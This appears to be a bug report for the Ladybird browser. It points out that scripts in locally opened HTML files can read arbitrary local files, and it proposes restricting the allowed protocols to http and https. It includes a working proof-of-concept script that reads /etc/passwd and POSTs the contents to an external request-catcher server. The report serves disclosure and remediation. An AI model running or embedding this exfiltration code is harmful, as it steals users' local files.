Running the following code with Ladybird from a local file will happely send any file the user has access to, to a remote server. The allowed protocol should be changed to only http and https like it is already the case if loading this script from remote. This would match Firefox behaviour.

<script>
fetch("file:///etc/passwd")
.then((res) => res.text())
.then((text) => {
let xhr = new XMLHttpRequest();
xhr.open("POST", "https://serenity.requestcatcher.com/test", true);
xhr.send(text);
})
.catch((e) => console.error(e));
</script>